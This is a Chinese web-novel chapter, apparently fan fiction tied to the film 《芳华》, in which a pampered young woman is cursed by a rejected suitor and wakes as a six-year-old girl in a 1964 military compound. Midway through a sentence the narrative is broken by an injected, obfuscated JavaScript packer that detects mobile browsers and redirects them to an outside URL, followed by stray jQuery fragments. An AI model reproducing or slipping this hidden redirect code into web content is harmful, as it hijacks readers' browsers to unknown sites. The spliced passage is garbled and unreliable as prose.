夜色像一块被浸得微凉的丝绒，沉沉覆在城市上空。
高档小区的落地窗隔绝了外界的喧嚣，只留室内一片暖得恰到好处的灯光。
水晶吊灯的光细碎地洒下来，落在光洁的大理石地面上，映出丝绒沙发慵懒的轮廓。兆悦整个人陷在沙发正中，身体微微后仰，姿态散漫。
茶几上摆着一只喝了一半的香槟杯，杯壁凝着细密的水珠，旁边摊着几本刚拆封的时尚杂志，页角卷着边，显然是被随手丢在那里。
最新款的手机被她捏在指尖，有一下没一下地转着，屏幕的光映在她眼底，衬得那双本就生得极漂亮的眼睛，多了几分漫不经心的冷淡。
玄关处格外扎眼。
一大束裹着黑色哑光包装纸的红玫瑰被扔在地板上，花瓣蹭着冰凉的地砖，包装纸被踩出几道深深的褶皱，九十九朵玫瑰开得正盛，颜色浓烈得近乎张扬，却自始至终没有得到房间主人半分正眼。
电话最终还是被接通，手机里的声音小心翼翼地传出来，带着讨好，又有几分不知所措：“悦悦，我真的挑了整个花市最好的玫瑰，九十九朵，不是随便应付的……”
兆悦唇线微抿，轻轻嗤了一声。那声音不算大，却足够清晰，清甜里裹着冷意，没有半分商量的余地：“我要的是一后备箱。”
对方顿了一下，语气越发为难：“可是一后备箱太招摇了，现在这个点，停在楼下太显眼，我想着稳妥一点……”
“不用想。”
她打断得干脆利落，指尖没有半点犹豫，直接按下红色挂断键。
手机被她随手往沙发另一侧一丢，机身落在柔软的布料上，发出一声轻响。整套动作行云流水，没有迟疑，没有不舍，甚至连一丝情绪波动都没有。
对于她而言，这不过是无数次类似场景里最普通的一次。
从小到大，她身边从不缺围着她转的人。家境安稳，父母疼爱。
钢琴从四岁坐到十四岁，指尖磨过薄茧又生出细腻，一首复杂的曲子听一遍便能记下大半；写作是她藏在骨子里的喜好，随笔、短篇、故事，随手写来都流畅自然；舞蹈房的镜子里，她记过无数个标准的姿态，身段柔软，节奏感天生就好。
被人捧在手心里长大的姑娘，自有一套自己的标准，想要的东西一定要合心意，差一点都不行，不然再好也不稀罕。
她没有说话，安静地靠在沙发上，目光在室内漫无目的地扫过。
百无聊赖之下，她伸手捞过放在一旁的平板。指尖在屏幕上随意滑动，短视频刷了几条，便觉得索然无味。
不知怎么，就停在了那部被无数人提及过的电影封面之上——《芳华》。
她从未完整看过这部电影。
但也并非一无所知。
闲暇的时候，她刷过不少详细的拉片解说。
从人物出场，到剧情转折，再到那些藏在青春外衣下的计较、自私、冷漠与温柔，解说者抽丝剥茧，把整个故事拆解得明明白白。
谁是始终善良的人，谁是被孤立的人，谁是随波逐流的人，谁又是家境优渥、从头到尾置身事外的人，大致的走向她心里有数。
可解说终究是别人嚼过一遍的东西。
人物真正的眼神、语气、细微的动作、藏在平静表面下的心思，那些最鲜活的东西，她并没有真正见过。
那些名字，那些场景，在她脑海里不过是一个个模糊的符号，一段别人口中的故事，和她隔着一层无形的屏幕，遥远得毫不相干。
她只是忽然想看看，这部被捧得极高的电影，究竟是什么模样。
影片开始播放至陈灿伸手，扶下萧穗子。就在这时，窗外猛地传来一阵尖锐的咒骂声。
声音不算特别大，却隔着玻璃直直钻进来，带着被拒绝后的恼羞成怒与偏执，一字一顿，格外清晰：“兆悦！你一辈子都这么糟蹋别人的真心，总有一天要受折磨，永远都不得安生！”
是刚才被她挂断电话的人。
想来是堵在了楼下，不甘心，才隔着楼层喊出这样的话。
兆悦眉梢微微一挑，眼底掠过一丝不耐，又带着几分觉得可笑的冷淡。
这种幼稚的诅咒，在她听来毫无意义，甚至有些多余。她抬手，打算把窗帘拉上，隔绝外面的噪音与那莫名其妙的恨意。
指尖刚碰到窗帘的拉绳，异变陡生，一束寒光闪过。
平板屏幕里的光影像是突然活了过来，不再是静止的画面，而是化作一股汹涌的浪，猛地朝着她席卷而来。
暖黄的灯光、水晶吊灯的碎光、沙发的轮廓、茶几上的香槟杯，所有熟悉的现代物件，在同一时间开始扭曲、变形、融化。
耳边的咒骂声、远处的车声、空调运行的轻响，瞬间被抽离，只剩下一片混沌的嗡鸣。
强烈的失重感猛地攥住她，像是从极高处坠落，又像是被卷入无边无际的漩涡。
眼前的一切都在旋转、破碎、重组。她来不及发出任何声音，连惊讶都来不及浮现，意识便被一股巨大的黑暗吞没。
没有痛，没有慌，只有一片空茫。
不知过了多久。
像是一秒，又像是漫长的一个世纪。
鼻尖先于意识清醒。
淡淡的皂角香，混着阳光晒透棉絮的干燥气息，还有一丝若有若无的中药清香，温和地裹着她。
身下不是柔软的丝绒，而是略有些粗糙却格外干净的棉布被褥，触感踏实，带着微微的暖意。
有人在轻轻抚摸她的头发。
动作轻柔，带着小心翼翼的疼爱，指尖划过她的发顶，顺着发丝慢慢往下。
一道温柔的女声在耳边响起，语调软软的，带着清晰的南方口音，像春水一样缓：“悦悦？醒一醒，我的小宝贝醒了没有？”
兆悦的眼睫轻轻颤了颤。
意识像是被一层薄雾蒙着，沉在混沌里，迟迟不肯完全清醒。
她想开口问“你是谁”，想撑起身子看看周围，可身体却不听使唤。
每动一下，都觉得格外吃力，胳膊短得反常，手也轻飘飘的，完全不属于自己熟悉的触感。
她费力地掀开沉重的眼皮。
第一眼看到的，不是熟悉的水晶吊灯。
是一张老旧却结实的木质床顶，上面雕着简单的缠枝花纹，漆色沉稳，带着岁月的痕迹。
再往上看，是素白的墙面，没有任何花哨的装饰，只在正对床的位置，贴着一张鲜红的标语，字迹工整有力，带着这个年代独有的庄重。
视线慢慢移开。
窗边摆着一张小小的木桌，桌上放着一只搪瓷缸，缸身印着简单的图案。
旁边是一把木椅，椅面铺着一块碎花布。窗户是老式的木格窗，玻璃擦得干干净净，窗外有风吹进来，带着树叶的清香，还有远远传来的、整齐划一的口号声，一声接着一声，沉稳有力。
这不是她的房间。
这不是她的世界。
兆悦的心脏猛地一缩。
她下意识地抬起手，想揉一揉发沉的额头，可映入眼帘的东西，让她整个人瞬间僵住。
那是一双极小极小的手。
肉乎乎的，手指短短的，指甲盖圆圆的，皮肤白皙细嫩，连骨节都还没长开，完完全全是一个小孩子的手。
她愣住了，整个人像被冻住一般，呆呆地看着自己的手，反复攥拳、松开，再攥拳。每一个动作都陌生得可怕。
“哎哟，醒了就好，可别再发呆了。”
耳边的声音再次响起。俯身看着她的女人慢慢直起身，又温柔地将她从被窝里扶起来。
兆悦被动地靠着床头，这才完整地看清了眼前的人。
女人穿着一身干净利落的浅灰色列宁装，领口整齐，腰束得恰到好处，短发也一丝不苟地挽在脑后，露出光洁的额头和温和的眉眼，很像自己的母亲，但不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309083|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
气质端庄，眼神柔软，一看便是被教养得极好的人。她的手上带着一点薄茧，却动作轻柔，一点一点帮兆悦掖好被角。
“饿不饿？奶奶一早就让厨房炖着蛋羹，现在温在灶上，正好能吃。”女人笑着，伸手轻轻捏了捏她的脸颊，触感细腻柔软，“咱们悦悦睡了这么久，肯定馋了。”
兆悦张了张嘴。
她想说话，想问这里是哪里，想问自己怎么了，想问为什么一切都变了。
可从她喉咙里发出来的，不是她熟悉的清甜女音，而是一团软糯、奶声奶气、连吐字都不太清晰的孩童声音。
“我……”
只一个字，便足够让她心头发紧。
“怎么了？是不是刚醒，还有点懵？”女人不以为意，只当她是睡迷糊了，伸手将她揽进怀里。
小小的身子被拥在温暖的怀抱里，雪花膏淡淡的香气萦绕鼻尖，踏实又安心，“不懵啊，咱们悦悦最聪明了。
今天你爷爷还特意交代，等你醒了，带你去大院里转一转，认识认识院里的小伙伴。以后咱们就要在这里住下来。”
大院。
小伙伴。
爷爷。
这几个词轻飘飘地落下来，却像石头一样砸在兆悦心上。
她僵硬地靠在女人怀里，目光再次扫过房间——老式木床、搪瓷缸、木桌、墙上的标语、窗外的口号声、身上孩童的身躯、女人身上的列宁装……
所有的线索，在这一刻疯狂地拼凑在一起。
窗外那句诅咒还在耳边打转，刻薄又清晰。
可她此刻并不知道，自己落在了何处。
她只知道，眼前的一切陌生得可怕，房间、衣物、声音、年纪，全都不属于她曾经拥有的人生。
她没有死，却也不再是原来的自己，像是被一股无法抗拒的力量，拽进了一段完全陌生的岁月。
女人见她不说话，只当她还没彻底清醒，抱着她慢慢走到房间角落的穿衣镜前。兆悦的目光，不由自主地落在镜中。
里面映出一个小小的姑娘。
大约五六岁的模样，皮肤白皙，眉眼精致，眼尾微微上挑，带着南方孩子特有的灵秀。
一头软软的黑发，被细心地扎成两个小小的羊角辫，辫梢系着浅红色的头绳。身上穿着一身碎花小褂，干净整洁，整个人像一颗刚剥出来的水蜜桃，鲜嫩又娇贵。
这是她，又不是她。
“来，把小鞋子穿上。”女人蹲下身，从床底拿出一双绣着小兰花的布鞋，鞋底软软的，鞋面干净。
她握住兆悦小小的脚，细心地帮她套进去，系好鞋带，“怎么？害怕啦？咱们家悦悦生得好看，家世又好，你爷爷是打过仗、立过功的人，
以后在大院里，谁也不能欺负你，知道么？”
每一个信息，都在告诉她——这里不是她的身世，她不知道这是哪一段历史，不知道未来会走向哪里，更不知道自己会在这里待多久。
她只清楚，曾经随心所欲、被人捧在掌心的日子，已经彻底消失在那场突如其来的光影漩涡里。
她似乎成了一个六岁小姑娘。
拥有一个安稳显赫的家。
住进了人人敬畏的军区大院。
窗外的阳光越过木窗，斜斜地洒进来，落在她小小的脸颊上，暖得有些不真实。
远处的军号声隐约响起，清脆、整齐，穿透层层树叶，落在每一个角落。
风穿过树梢，带着草木清新的气息，轻轻拂过她的眼睫。
兆悦怔怔地望着墙上的日历，1964年。
过去的人生，在光影破碎的那一刻，彻底落幕。
而属于她的，在这个陌生年代里的漫长岁月，才刚刚拉开第一重幕布。
她不知道前路是安稳还是颠簸，是温暖还是折磨，只知道从这一刻起，她要以一个全新的身份，在1964年，一步步走下去。